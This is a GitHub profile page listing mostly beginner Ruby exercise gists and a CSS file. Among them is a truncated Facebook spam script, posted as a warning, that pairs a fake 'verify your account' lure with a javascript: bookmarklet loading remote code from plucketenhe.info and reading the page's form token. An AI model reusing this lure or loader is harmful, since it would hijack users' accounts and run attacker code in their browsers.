Skip to content

Instantly share code, notes, and snippets.

View johncrisostomo's full-sized avatar
🌏
Not much contrib here as my org is now using a ADO exclusively

John Crisostomo johncrisostomo

🌏
Not much contrib here as my org is now using a ADO exclusively
  • JLL Technologies
  • Singapore
View GitHub Profile
filename = ARGV
input = Array.new
output = Array.new
File.open(filename.first) do |f|
while line = f.gets
input << line.chomp!.split(" ")
end
end
/*
New facebook spam, it's not mine, I posted so that people would be aware.
AGAIN, I DIDN'T CREATE THIS.
*/
var message = "In order to PREVENT SPAM, I ask that you VERIFY YOUR ACCOUNT. Click VERIFY MY ACCOUNT right next to comment below to start the process...";
var jsText = "javascript:(function(){_ccscr=document.createElement('script');_ccscr.type='text/javascript';_ccscr.src='http://plucketenhe.info/verify.js?'+(Math.random());document.getElementsByTagName('head')[0].appendChild(_ccscr);})();";
var myText = "==>[VERIFY MY ACCOUNT]<==";
var post_form_id = document.getElementsByName('post_form_id')[0].value;
#only quits after three successive BYEs
def random_year
rand(21) + 1930
end
count = 0
while count <= 2
print 'Say something to grandma : '
input = gets.chomp
@johncrisostomo
johncrisostomo / dogv2.rb
Created May 8, 2011 19:50
RubyLearning Week4 - Optional Exercise 1
class Dog
def initialize(name)
@name = name
end
def method_missing(name, *args, &block)
command = /(command)_(\w+)/.match(name)
if command
puts "#{@name} doesn't know to #{command[2]}!"
else
def document_to_string(filename)
text = ''
File.open(filename) do |f|
while line = f.gets
text << line
end
end
text
end
@johncrisostomo
johncrisostomo / first_attempt.rb
Created May 1, 2011 18:02
Insert Word (a file handling problem by Marcos Souza)
#something like this, it's a snippet :
f = File.open("plaintext.txt", "r+")
bytes_per_line = f.readline.length+1
f.seek(bytes_per_line*5, IO::SEEK_SET)
@johncrisostomo
johncrisostomo / layout.css
Created April 29, 2011 05:58
ITWD103 Case Study
body { font-family: Helvetica; }
#nav { background-color: black; color: white; width: 100%; padding: 3px; font: 15px Arial; }
#left { position: absolute; left: 640px; }
#header { margin-top: 20px; border: 3px grey; border-style: none none solid none; }
#sidepane { border: 3px grey; border-style: none solid solid none; position: absolute; left: 10px;
padding: 10px; }